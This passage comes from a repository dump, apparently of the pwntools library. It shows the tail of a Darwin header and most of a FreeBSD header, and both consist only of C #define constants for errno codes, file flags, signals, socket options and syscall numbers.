0x4\n#define SONPX_SETOPTSHUT 0x000000001\n#define SOL_SOCKET 0xffff\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_INET 2\n#define AF_IMPLINK 3\n#define AF_PUP 4\n#define AF_CHAOS 5\n#define AF_NS 6\n#define AF_ISO 7\n#define AF_ECMA 8\n#define AF_DATAKIT 9\n#define AF_CCITT 10\n#define AF_SNA 11\n#define AF_DECnet 12\n#define AF_DLI 13\n#define AF_LAT 14\n#define AF_HYLINK 15\n#define AF_APPLETALK 16\n#define AF_ROUTE 17\n#define AF_LINK 18\n#define pseudo_AF_XTP 19\n#define AF_COIP 20\n#define AF_CNT 21\n#define pseudo_AF_RTIP 22\n#define AF_IPX 23\n#define AF_SIP 24\n#define pseudo_AF_PIP 25\n#define AF_NDRV 27\n#define AF_ISDN 28\n#define pseudo_AF_KEY 29\n#define AF_INET6 30\n#define AF_NATM 31\n#define AF_SYSTEM 32\n#define AF_NETBIOS 33\n#define AF_PPP 34\n#define pseudo_AF_HDRCMPLT 35\n#define AF_RESERVED_36 36\n#define AF_IEEE80211 37\n#define AF_UTUN 38\n#define AF_VSOCK 40\n#define AF_MAX 41\n#define SOCK_MAXADDRLEN 255\n#define _SS_MAXSIZE 128\n#define NET_RT_DUMP 1\n#define NET_RT_FLAGS 2\n#define NET_RT_IFLIST 3\n#define NET_RT_STAT 4\n#define NET_RT_TRASH 5\n#define NET_RT_IFLIST2 6\n#define NET_RT_DUMP2 7\n#define NET_RT_FLAGS_PRIV 10\n#define NET_RT_MAXID 11\n#define SOMAXCONN 128\n#define MSG_OOB 0x1\n#define MSG_PEEK 0x2\n#define MSG_DONTROUTE 0x4\n#define MSG_EOR 0x8\n#define MSG_TRUNC 0x10\n#define MSG_CTRUNC 0x20\n#define MSG_WAITALL 0x40\n#define MSG_DONTWAIT 0x80\n#define MSG_EOF 0x100\n#define MSG_WAITSTREAM 0x200\n#define MSG_FLUSH 0x400\n#define MSG_HOLD 0x800\n#define MSG_SEND 0x1000\n#define MSG_HAVEMORE 0x2000\n#define MSG_RCVMORE 0x4000\n#define MSG_NEEDSA 0x10000\n#define MSG_NOSIGNAL 0x80000\n#define MSG_USEUPCALL 0x80000000\n#define CMGROUP_MAX 16\n#define SCM_RIGHTS 0x01\n#define SCM_TIMESTAMP 0x02\n#define SCM_CREDS 0x03\n#define SCM_TIMESTAMP_MONOTONIC 0x04\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define SBUF_FIXEDLEN 0x00000000\n#define SBUF_AUTOEXTEND 0x00000001\n#define SBUF_USRFLAGMSK 0x0000ffff\n#define SBUF_DYNAMIC 0x00010000\n#define SBUF_FINISHED 0x00020000\n#define SBUF_OVERFLOWED 0x00040000\n#define SBUF_DYNSTRUCT 0x00080000\n#define SYSPROTO_EVENT 1\n#define SYSPROTO_CONTROL 2\n#define AF_SYS_CONTROL 2\n#define SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED 0x00000001\n#define SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER 0x00000002\n#define SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT 0x00000004\n#define NS_GETRAWENCRYPTED 0x00000001\n"
  },
  {
    "path": "pwnlib/data/includes/freebsd.h",
    "content": "#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define __BSD_VISIBLE 99999999\n#define __POSIX_VISIBLE 99999999\n#define __XSI_VISIBLE 99999999\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EDEADLK 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EAGAIN 35\n#define EWOULDBLOCK 35\n#define EINPROGRESS 36\n#define EALREADY 37\n#define ENOTSOCK 38\n#define EDESTADDRREQ 39\n#define EMSGSIZE 40\n#define EPROTOTYPE 41\n#define ENOPROTOOPT 42\n#define EPROTONOSUPPORT 43\n#define ESOCKTNOSUPPORT 44\n#define EOPNOTSUPP 45\n#define ENOTSUP 45\n#define EPFNOSUPPORT 46\n#define EAFNOSUPPORT 47\n#define EADDRINUSE 48\n#define EADDRNOTAVAIL 49\n#define ENETDOWN 50\n#define ENETUNREACH 51\n#define ENETRESET 52\n#define ECONNABORTED 53\n#define ECONNRESET 54\n#define ENOBUFS 55\n#define EISCONN 56\n#define ENOTCONN 57\n#define ESHUTDOWN 58\n#define ETOOMANYREFS 59\n#define ETIMEDOUT 60\n#define ECONNREFUSED 61\n#define ELOOP 62\n#define ENAMETOOLONG 63\n#define EHOSTDOWN 64\n#define EHOSTUNREACH 65\n#define ENOTEMPTY 66\n#define EPROCLIM 67\n#define EUSERS 68\n#define EDQUOT 69\n#define ESTALE 70\n#define EREMOTE 71\n#define EBADRPC 72\n#define ERPCMISMATCH 73\n#define EPROGUNAVAIL 74\n#define EPROGMISMATCH 75\n#define EPROCUNAVAIL 76\n#define ENOLCK 77\n#define ENOSYS 78\n#define EFTYPE 79\n#define EAUTH 80\n#define ENEEDAUTH 81\n#define EIDRM 82\n#define ENOMSG 83\n#define EOVERFLOW 84\n#define ECANCELED 85\n#define EILSEQ 86\n#define ENOATTR 87\n#define EDOOFUS 88\n#define EBADMSG 89\n#define EMULTIHOP 90\n#define ENOLINK 91\n#define EPROTO 92\n#define ENOTCAPABLE 93\n#define ECAPMODE 94\n#define ELAST 94\n#define O_RDONLY 0x0000\n#define O_WRONLY 0x0001\n#define O_RDWR 0x0002\n#define O_ACCMODE 0x0003\n#define FREAD 0x0001\n#define FWRITE 0x0002\n#define O_NONBLOCK 0x0004\n#define O_APPEND 0x0008\n#define O_SHLOCK 0x0010\n#define O_EXLOCK 0x0020\n#define O_ASYNC 0x0040\n#define O_FSYNC 0x0080\n#define O_SYNC 0x0080\n#define O_NOFOLLOW 0x0100\n#define O_CREAT 0x0200\n#define O_TRUNC 0x0400\n#define O_EXCL 0x0800\n#define O_NOCTTY 0x8000\n#define O_DIRECT 0x00010000\n#define O_DIRECTORY 0x00020000\n#define O_EXEC 0x00040000\n#define O_TTY_INIT 0x00080000\n#define O_CLOEXEC 0x00100000\n#define FAPPEND 0x0008\n#define FASYNC 0x0040\n#define FFSYNC 0x0080\n#define FNONBLOCK 0x0004\n#define FNDELAY 0x0004\n#define O_NDELAY 0x0004\n#define FRDAHEAD 0x0200\n#define AT_FDCWD -100\n#define AT_EACCESS 0x100\n#define AT_SYMLINK_NOFOLLOW 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_REMOVEDIR 0x800\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETOWN 5\n#define F_SETOWN 6\n#define F_OGETLK 7\n#define F_OSETLK 8\n#define F_OSETLKW 9\n#define F_DUP2FD 10\n#define F_GETLK 11\n#define F_SETLK 12\n#define F_SETLKW 13\n#define F_SETLK_REMOTE 14\n#define F_READAHEAD 15\n#define F_RDAHEAD 16\n#define F_DUPFD_CLOEXEC 17\n#define F_DUP2FD_CLOEXEC 18\n#define FD_CLOEXEC 1\n#define F_RDLCK 1\n#define F_UNLCK 2\n#define F_WRLCK 3\n#define F_UNLCKSYS 4\n#define F_CANCEL 5\n#define LOCK_SH 0x01\n#define LOCK_EX 0x02\n#define LOCK_NB 0x04\n#define LOCK_UN 0x08\n#define POSIX_FADV_NORMAL 0\n#define POSIX_FADV_RANDOM 1\n#define POSIX_FADV_SEQUENTIAL 2\n#define POSIX_FADV_WILLNEED 3\n#define POSIX_FADV_DONTNEED 4\n#define POSIX_FADV_NOREUSE 5\n#define INHERIT_SHARE 0\n#define INHERIT_COPY 1\n#define INHERIT_NONE 2\n#define PROT_NONE 0x00\n#define PROT_READ 0x01\n#define PROT_WRITE 0x02\n#define PROT_EXEC 0x04\n#define MAP_SHARED 0x0001\n#define MAP_PRIVATE 0x0002\n#define MAP_COPY 0x0002\n#define MAP_FIXED 0x0010\n#define MAP_RENAME 0x0020\n#define MAP_NORESERVE 0x0040\n#define MAP_RESERVED0080 0x0080\n#define MAP_RESERVED0100 0x0100\n#define MAP_HASSEMAPHORE 0x0200\n#define MAP_STACK 0x0400\n#define MAP_NOSYNC 0x0800\n#define MAP_FILE 0x0000\n#define MAP_ANON 0x1000\n#define MAP_ANONYMOUS 0x1000\n#define MAP_NOCORE 0x00020000\n#define MAP_PREFAULT_READ 0x00040000\n#define MCL_CURRENT 0x0001\n#define MCL_FUTURE 0x0002\n#define MS_SYNC 0x0000\n#define MS_ASYNC 0x0001\n#define MS_INVALIDATE 0x0002\n#define _MADV_NORMAL 0\n#define _MADV_RANDOM 1\n#define _MADV_SEQUENTIAL 2\n#define _MADV_WILLNEED 3\n#define _MADV_DONTNEED 4\n#define MADV_NORMAL 0\n#define MADV_RANDOM 1\n#define MADV_SEQUENTIAL 2\n#define MADV_WILLNEED 3\n#define MADV_DONTNEED 4\n#define MADV_FREE 5\n#define MADV_NOSYNC 6\n#define MADV_AUTOSYNC 7\n#define MADV_NOCORE 8\n#define MADV_CORE 9\n#define MADV_PROTECT 10\n#define MINCORE_INCORE 0x1\n#define MINCORE_REFERENCED 0x2\n#define MINCORE_MODIFIED 0x4\n#define MINCORE_REFERENCED_OTHER 0x8\n#define MINCORE_MODIFIED_OTHER 0x10\n#define POSIX_MADV_NORMAL 0\n#define POSIX_MADV_RANDOM 1\n#define POSIX_MADV_SEQUENTIAL 2\n#define POSIX_MADV_WILLNEED 3\n#define POSIX_MADV_DONTNEED 4\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGEMT 7\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGBUS 10\n#define SIGSEGV 11\n#define SIGSYS 12\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGURG 16\n#define SIGSTOP 17\n#define SIGTSTP 18\n#define SIGCONT 19\n#define SIGCHLD 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGIO 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGINFO 29\n#define SIGUSR1 30\n#define SIGUSR2 31\n#define SIGTHR 32\n#define SIGLWP 32\n#define SIGRTMIN 65\n#define SIGRTMAX 126\n#define SIGEV_NONE 0\n#define SIGEV_SIGNAL 1\n#define SIGEV_THREAD 2\n#define SIGEV_KEVENT 3\n#define SIGEV_THREAD_ID 4\n#define ILL_ILLOPC 1\n#define ILL_ILLOPN 2\n#define ILL_ILLADR 3\n#define ILL_ILLTRP 4\n#define ILL_PRVOPC 5\n#define ILL_PRVREG 6\n#define ILL_COPROC 7\n#define ILL_BADSTK 8\n#define BUS_ADRALN 1\n#define BUS_ADRERR 2\n#define BUS_OBJERR 3\n#define SEGV_MAPERR 1\n#define SEGV_ACCERR 2\n#define FPE_INTOVF 1\n#define FPE_INTDIV 2\n#define FPE_FLTDIV 3\n#define FPE_FLTOVF 4\n#define FPE_FLTUND 5\n#define FPE_FLTRES 6\n#define FPE_FLTINV 7\n#define FPE_FLTSUB 8\n#define TRAP_BRKPT 1\n#define TRAP_TRACE 2\n#define TRAP_DTRACE 3\n#define CLD_EXITED 1\n#define CLD_KILLED 2\n#define CLD_DUMPED 3\n#define CLD_TRAPPED 4\n#define CLD_STOPPED 5\n#define CLD_CONTINUED 6\n#define POLL_IN 1\n#define POLL_OUT 2\n#define POLL_MSG 3\n#define POLL_ERR 4\n#define POLL_PRI 5\n#define POLL_HUP 6\n#define SA_NOCLDSTOP 0x0008\n#define SA_ONSTACK 0x0001\n#define SA_RESTART 0x0002\n#define SA_RESETHAND 0x0004\n#define SA_NODEFER 0x0010\n#define SA_NOCLDWAIT 0x0020\n#define SA_SIGINFO 0x0040\n#define NSIG 32\n#define SI_NOINFO 0\n#define SI_USER 0x10001\n#define SI_QUEUE 0x10002\n#define SI_TIMER 0x10003\n#define SI_ASYNCIO 0x10004\n#define SI_MESGQ 0x10005\n#define SI_KERNEL 0x10006\n#define SI_LWP 0x10007\n#define SI_UNDEFINED 0\n#define SS_ONSTACK 0x0001\n#define SS_DISABLE 0x0004\n#define SV_ONSTACK 0x0001\n#define SV_INTERRUPT 0x0002\n#define SV_RESETHAND 0x0004\n#define SV_NODEFER 0x0010\n#define SV_NOCLDSTOP 0x0008\n#define SV_SIGINFO 0x0040\n#define SIG_BLOCK 1\n#define SIG_UNBLOCK 2\n#define SIG_SETMASK 3\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SO_DEBUG 0x0001\n#define SO_ACCEPTCONN 0x0002\n#define SO_REUSEADDR 0x0004\n#define SO_KEEPALIVE 0x0008\n#define SO_DONTROUTE 0x0010\n#define SO_BROADCAST 0x0020\n#define SO_USELOOPBACK 0x0040\n#define SO_LINGER 0x0080\n#define SO_OOBINLINE 0x0100\n#define SO_REUSEPORT 0x0200\n#define SO_TIMESTAMP 0x0400\n#define SO_NOSIGPIPE 0x0800\n#define SO_ACCEPTFILTER 0x1000\n#define SO_BINTIME 0x2000\n#define SO_NO_OFFLOAD 0x4000\n#define SO_NO_DDP 0x8000\n#define SO_SNDBUF 0x1001\n#define SO_RCVBUF 0x1002\n#define SO_SNDLOWAT 0x1003\n#define SO_RCVLOWAT 0x1004\n#define SO_SNDTIMEO 0x1005\n#define SO_RCVTIMEO 0x1006\n#define SO_ERROR 0x1007\n#define SO_TYPE 0x1008\n#define SO_LABEL 0x1009\n#define SO_PEERLABEL 0x1010\n#define SO_LISTENQLIMIT 0x1011\n#define SO_LISTENQLEN 0x1012\n#define SO_LISTENINCQLEN 0x1013\n#define SO_SETFIB 0x1014\n#define SO_USER_COOKIE 0x1015\n#define SO_PROTOCOL 0x1016\n#define SO_PROTOTYPE 0x1016\n#define SO_VENDOR 0x80000000\n#define SOL_SOCKET 0xffff\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_INET 2\n#define AF_IMPLINK 3\n#define AF_PUP 4\n#define AF_CHAOS 5\n#define AF_NETBIOS 6\n#define AF_ISO 7\n#define AF_OSI 7\n#define AF_ECMA 8\n#define AF_DATAKIT 9\n#define AF_CCITT 10\n#define AF_SNA 11\n#define AF_DECnet 12\n#define AF_DLI 13\n#define AF_LAT 14\n#define AF_HYLINK 15\n#define AF_APPLETALK 16\n#define AF_ROUTE 17\n#define AF_LINK 18\n#define pseudo_AF_XTP 19\n#define AF_COIP 20\n#define AF_CNT 21\n#define pseudo_AF_RTIP 22\n#define AF_IPX 23\n#define AF_SIP 24\n#define pseudo_AF_PIP 25\n#define AF_ISDN 26\n#define AF_E164 26\n#define pseudo_AF_KEY 27\n#define AF_INET6 28\n#define AF_NATM 29\n#define AF_ATM 30\n#define pseudo_AF_HDRCMPLT 31\n#define AF_NETGRAPH 32\n#define AF_SLOW 33\n#define AF_SCLUSTER 34\n#define AF_ARP 35\n#define AF_BLUETOOTH 36\n#define AF_IEEE80211 37\n#define AF_MAX 38\n#define AF_VENDOR00 39\n#define AF_VENDOR01 41\n#define AF_VENDOR02 43\n#define AF_VENDOR03 45\n#define AF_VENDOR04 47\n#define AF_VENDOR05 49\n#define AF_VENDOR06 51\n#define AF_VENDOR07 53\n#define AF_VENDOR08 55\n#define AF_VENDOR09 57\n#define AF_VENDOR10 59\n#define AF_VENDOR11 61\n#define AF_VENDOR12 63\n#define AF_VENDOR13 65\n#define AF_VENDOR14 67\n#define AF_VENDOR15 69\n#define AF_VENDOR16 71\n#define AF_VENDOR17 73\n#define AF_VENDOR18 75\n#define AF_VENDOR19 77\n#define AF_VENDOR20 79\n#define AF_VENDOR21 81\n#define AF_VENDOR22 83\n#define AF_VENDOR23 85\n#define AF_VENDOR24 87\n#define AF_VENDOR25 89\n#define AF_VENDOR26 91\n#define AF_VENDOR27 93\n#define AF_VENDOR28 95\n#define AF_VENDOR29 97\n#define AF_VENDOR30 99\n#define AF_VENDOR31 101\n#define AF_VENDOR32 103\n#define AF_VENDOR33 105\n#define AF_VENDOR34 107\n#define AF_VENDOR35 109\n#define AF_VENDOR36 111\n#define AF_VENDOR37 113\n#define AF_VENDOR38 115\n#define AF_VENDOR39 117\n#define AF_VENDOR40 119\n#define AF_VENDOR41 121\n#define AF_VENDOR42 123\n#define AF_VENDOR43 125\n#define AF_VENDOR44 127\n#define AF_VENDOR45 129\n#define AF_VENDOR46 131\n#define AF_VENDOR47 133\n#define SOCK_MAXADDRLEN 255\n#define PF_UNSPEC 0\n#define PF_LOCAL 1\n#define PF_UNIX 1\n#define PF_INET 2\n#define PF_IMPLINK 3\n#define PF_PUP 4\n#define PF_CHAOS 5\n#define PF_NETBIOS 6\n#define PF_ISO 7\n#define PF_OSI 7\n#define PF_ECMA 8\n#define PF_DATAKIT 9\n#define PF_CCITT 10\n#define PF_SNA 11\n#define PF_DECnet 12\n#define PF_DLI 13\n#define PF_LAT 14\n#define PF_HYLINK 15\n#define PF_APPLETALK 16\n#define PF_ROUTE 17\n#define PF_LINK 18\n#define PF_XTP 19\n#define PF_COIP 20\n#define PF_CNT 21\n#define PF_SIP 24\n#define PF_IPX 23\n#define PF_RTIP 22\n#define PF_PIP 25\n#define PF_ISDN 26\n#define PF_KEY 27\n#define PF_INET6 28\n#define PF_NATM 29\n#define PF_ATM 30\n#define PF_NETGRAPH 32\n#define PF_SLOW 33\n#define PF_SCLUSTER 34\n#define PF_ARP 35\n#define PF_BLUETOOTH 36\n#define PF_MAX 38\n#define NET_MAXID 38\n#define NET_RT_DUMP 1\n#define NET_RT_FLAGS 2\n#define NET_RT_IFLIST 3\n#define NET_RT_IFMALIST 4\n#define NET_RT_IFLISTL 5\n#define NET_RT_MAXID 6\n#define SOMAXCONN 128\n#define MSG_OOB 0x1\n#define MSG_PEEK 0x2\n#define MSG_DONTROUTE 0x4\n#define MSG_EOR 0x8\n#define MSG_TRUNC 0x10\n#define MSG_CTRUNC 0x20\n#define MSG_WAITALL 0x40\n#define MSG_NOTIFICATION 0x2000\n#define MSG_DONTWAIT 0x80\n#define MSG_EOF 0x100\n#define MSG_NBIO 0x4000\n#define MSG_COMPAT 0x8000\n#define MSG_NOSIGNAL 0x20000\n#define CMGROUP_MAX 16\n#define SCM_RIGHTS 0x01\n#define SCM_TIMESTAMP 0x02\n#define SCM_CREDS 0x03\n#define SCM_BINTIME 0x04\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define PRU_FLUSH_RD 0\n#define PRU_FLUSH_WR 1\n#define PRU_FLUSH_RDWR 2\n#define SF_NODISKIO 0x00000001\n#define SF_MNOWAIT 0x00000002\n#define SF_SYNC 0x00000004\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISTXT 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IFMT 0xf000\n#define S_IFIFO 0x1000\n#define S_IFCHR 0x2000\n#define S_IFDIR 0x4000\n#define S_IFBLK 0x6000\n#define S_IFREG 0x8000\n#define S_IFLNK 0xa000\n#define S_IFSOCK 0xc000\n#define S_ISVTX 0x200\n#define S_IFWHT 0xe000\n#define ACCESSPERMS 0x1ff\n#define ALLPERMS 0xfff\n#define DEFFILEMODE 0x1b6\n#define S_BLKSIZE 512\n#define UF_SETTABLE 0x0000ffff\n#define UF_NODUMP 0x00000001\n#define UF_IMMUTABLE 0x00000002\n#define UF_APPEND 0x00000004\n#define UF_OPAQUE 0x00000008\n#define UF_NOUNLINK 0x00000010\n#define SF_SETTABLE 0xffff0000\n#define SF_ARCHIVED 0x00010000\n#define SF_IMMUTABLE 0x00020000\n#define SF_APPEND 0x00040000\n#define SF_NOUNLINK 0x00100000\n#define SF_SNAPSHOT 0x00200000\n#define SYS_syscall 0\n#define SYS_exit 1\n#define SYS_fork 2\n#define SYS_read 3\n#define SYS_write 4\n#define SYS_open 5\n#define SYS_close 6\n#define SYS_wait4 7\n#define SYS_link 9\n#define SYS_unlink 10\n#define SYS_chdir 12\n#define SYS_fchdir 13\n#define SYS_mknod 14\n#define SYS_chmod 15\n#define SYS_chown 16\n#define SYS_break 17\n#define SYS_freebsd4_getfsstat 18\n#define SYS_getpid 20\n#define SYS_mount 21\n#define SYS_unmount 22\n#define SYS_setuid 23\n#define SYS_getuid 24\n#define SYS_geteuid 25\n#define SYS_ptrace 26\n#define SYS_recvmsg 27\n#define SYS_sendmsg 28\n#define SYS_recvfrom 29\n#define SYS_accept 30\n#define SYS_getpeername 31\n#define SYS_getsockname 32\n#define SYS_access 33\n#define SYS_chflags 34\n#define SYS_fchflags 35\n#define SYS_sync 36\n#define SYS_kill 37\n#define SYS_getppid 39\n#define SYS_dup 41\n#define SYS_pipe 42\n#define SYS_getegid 43\n#define SYS_profil 44\n#define SYS_ktrace 45\n#define SYS_getgid 47\n#define SYS_getlogin 49\n#define SYS_setlogin 50\n#define SYS_acct 51\n#define SYS_sigaltstack 53\n#define SYS_ioctl 54\n#define SYS_reboot 55\n#define SYS_revoke 56\n#define SYS_symlink 57\n#define SYS_readlink 58\n#define SYS_execve 59\n#define SYS_umask 60\n#define SYS_chroot 61\n#define SYS_msync 65\n#define SYS_vfork 66\n#define SYS_sbrk 69\n#define SYS_sstk 70\n#define SYS_vadvise 72\n#define SYS_munmap 73\n#define SYS_mprotect 74\n#define SYS_madvise 75\n#define SYS_mincore 78\n#define SYS_getgroups 79\n#define SYS_setgroups 80\n#define SYS_getpgrp 81\n#define SYS_setpgid 82\n#define SYS_setitimer 83\n#define SYS_swapon 85\n#define SYS_getitimer 86\n#define SYS_getdtablesize 89\n#define SYS_dup2 90\n#define SYS_fcntl 92\n#define SYS_select 93\n#define SYS_fsync 95\n#define SYS_setpriority 96\n#define SYS_socket 97\n#define SYS_connect 98\n#define SYS_getpriority 100\n#define SYS_bind 104\n#define SYS_setsockopt 105\n#define SYS_listen 106\n#define SYS_gettimeofday 116\n#define SYS_getrusage 117\n#define SYS_getsockopt 118\n#define SYS_readv 120\n#define SYS_writev 121\n#define SYS_settimeofday 122\n#define SYS_fchown 123\n#define SYS_fchmod 124\n#define SYS_setreuid 126\n#define SYS_setregid 127\n#define SYS_rename 128\n#define SYS_flock 131\n#define SYS_mkfifo 132\n#define SYS_sendto 133\n#define SYS_shutdown 134\n#define SYS_socketpair 135\n#define SYS_mkdir 136\n#define SYS_rmdir 137\n#define SYS_utimes 138\n#define SYS_adjtime 140\n#define SYS_setsid 147\n#define SYS_quotactl 148\n#define SYS_nlm_syscall 154\n#define SYS_nfssvc 155\n#define SYS_freebsd4_statfs 157\n#define SYS_freebsd4_fstatfs 158\n#define SYS_lgetfh 160\n#define SYS_getfh 161\n#define SYS_freebsd4_getdomainname 162\n#define SYS_freebsd4_setdomainname 163\n#define SYS_freebsd4_uname 164\n#define SYS_sysarch 165\n#define SYS_rtprio 166\n#define SYS_semsys 169\n#define SYS_msgsys 170\n#define SYS_shmsys 171\n#define SYS_freebsd6_pread 173\n#define SYS_freebsd6_pwrite 174\n#define SYS_setfib 175\n#define SYS_ntp_adjtime 176\n#define SYS_setgid 181\n#define SYS_setegid 182\n#define SYS_seteuid 183\n#define SYS_stat 188\n#define SYS_fstat 189\n#define SYS_lstat 190\n#define SYS_pathconf 191\n#define SYS_fpathconf 192\n#define SYS_getrlimit 194\n#define SYS_setrlimit 195\n#define SYS_getdirentries 196\n#define SYS_freebsd6_mmap 197\n#define SYS___syscall 198\n#define SYS_freebsd6_lseek 199\n#define SYS_freebsd6_truncate 200\n#define SYS_freebsd6_ftruncate 201\n#define SYS___sysctl 202\n#define SYS_mlock 203\n#define SYS_munlock 204\n#define SYS_undelete 205\n#define SYS_futimes 206\n#define SYS_getpgid 207\n#define SYS_poll 209\n#define SYS_freebsd7___semctl 220\n#define SYS_semget 221\n#define SYS_semop 222\n#define SYS_freebsd7_msgctl 224\n#define SYS_msgget 225\n#define SYS_msgsnd 226\n#define SYS_msgrcv 227\n#define SYS_shmat 228\n#define SYS_freebsd7_shmctl 229\n#define SYS_shmdt 230\n#define SYS_shmget 231\n#define SYS_clock_gettime 232\n#define SYS_clock_settime 233\n#define SYS_clock_getres 234\n#define SYS_ktimer_create 235\n#define SYS_ktimer_delete 236\n#define SYS_ktimer_settime 237\n#define SYS_ktimer_gettime 238\n#define SYS_ktimer_getoverrun 239\n#define SYS_nanosleep 240\n#define SYS_ntp_gettime 248\n#define SYS_minherit 250\n#define SYS_rfork 251\n#define SYS_openbsd_poll 252\n#define SYS_issetugid 253\n#define SYS_lchown 254\n#define SYS_aio_read 255\n#define SYS_aio_write 256\n#define SYS_lio_listio 257\n#define SYS_getdents 272\n#define SYS_lchmod 274\n#define SYS_netbsd_lchown 275\n#define SYS_lutimes 276\n#define SYS_netbsd_msync 277\n#define SYS_nstat 278\n#define SYS_nfstat 279\n#define SYS_nlstat 280\n#define SYS_preadv 289\n#define SYS_pwritev 290\n#define SYS_freebsd4_fhstatfs 297\n#define SYS_fhopen 298\n#define SYS_fhstat 299\n#define SYS_modnext 300\n#define SYS_modstat 301\n#define SYS_modfnext 302\n#define SYS_modfind 303\n#define SYS_kldload 304\n#define SYS_kldunload 305\n#define SYS_kldfind 306\n#define SYS_kldnext 307\n#define SYS_kldstat 308\n#define SYS_kldfirstmod 309\n#define SYS_getsid 310\n#define SYS_setresuid 311\n#define SYS_setresgid 312\n#define SYS_aio_return 314\n#define SYS_aio_suspend 315\n#define SYS_aio_cancel 316\n#define SYS_aio_error 317\n#define SYS_oaio_read 318\n#define SYS_oaio_write 319\n#define SYS_olio_listio 320\n#define SYS_yield 321\n#define SYS_mlockall 324\n#define SYS_munlockall 325\n#define SYS___getcwd 326\n#define SYS_sched_setparam 327\n#define SYS_sched_getparam 328\n#define SYS_sched_setscheduler 329\n#define SYS_sched_getscheduler 330\n#define SYS_sched_yield 331\n#define SYS_sched_get_priority_max 332\n#define SYS_sched_get_priority_min 333\n#define SYS_sched_rr_get_interval 334\n#define SYS_utrace 335\n#define SYS_freebsd4_sendfile 336\n#define SYS_kldsym 337\n#define SYS_jail 338\n#define SYS_nnpfs_syscall 339\n#define SYS_sigprocmask 340\n#define SYS_sigsuspend 341\n#define SYS_freebsd4_sigaction 342\n#define SYS_sigpending 343\n#define SYS_freebsd4_sigreturn 344\n#define SYS_sigtimedwait 345\n#define SYS_sigwaitinfo 346\n#define SYS___acl_get_file 347\n#define SYS___acl_set_file 348\n#define SYS___acl_get_fd 349\n#define SYS___acl_set_fd 350\n#define SYS___acl_delete_file 351\n#define SYS___acl_delete_fd 352\n#define SYS___acl_aclcheck_file 353\n#define SYS___acl_aclcheck_fd 354\n#define SYS_extattrctl 355\n#define SYS_extattr_set_file 356\n#define SYS_extattr_get_file 357\n#define SYS_extattr_delete_file 358\n#define SYS_aio_waitcomplete 359\n#define SYS_getresuid 360\n#define SYS_getresgid 361\n#define SYS_kqueue 362\n#define SYS_kevent 363\n#define SYS_extattr_set_fd 371\n#define SYS_extattr_get_fd 372\n#define SYS_extattr_delete_fd 373\n#define SYS___setugid 374\n#define SYS_eaccess 376\n#define SYS_afs3_syscall 377\n#define SYS_nmount 378\n#define SYS___mac_get_proc 384\n#define SYS___mac_set_proc 385\n#define SYS___mac_get_fd 386\n#define SYS___mac_get_file 387\n#define SYS___mac_set_fd 388\n#define SYS___mac_set_file 389\n#define SYS_kenv 390\n#define SYS_lchflags 391\n#define SYS_uuidgen 392\n#define SYS_sendfile 393\n#define SYS_mac_syscall 394\n#define SYS_getfsstat 395\n#define SYS_statfs 396\n#define SYS_fstatfs 397\n#define SYS_fhstatfs 398\n#define SYS_ksem_close 400\n#define SYS_ksem_post 401\n#define SYS_ksem_wait 402\n#define SYS_ksem_trywait 403\n#define SYS_ksem_init 404\n#define SYS_ksem_open 405\n#define SYS_ksem_unlink 406\n#define SYS_ksem_getvalue 407\n#define SYS_ksem_destroy 408\n#define SYS___mac_get_pid 409\n#define SYS___mac_get_link 410\n#define SYS___mac_set_link 411\n#define SYS_extattr_set_link 412\n#define SYS_extattr_get_link 413\n#define SYS_extattr_delete_link 414\n#define SYS___mac_execve 415\n#define SYS_sigaction 416\n#define SYS_sigreturn 417\n#define SYS_getcontext 421\n#define SYS_setcontext 422\n#define SYS_swapcontext 423\n#define SYS_swapoff 424\n#define SYS___acl_get_link 425\n#define SYS___acl_set_link 426\n#define SYS___acl_delete_link 427\n#define SYS___acl_aclcheck_link 428\n#define 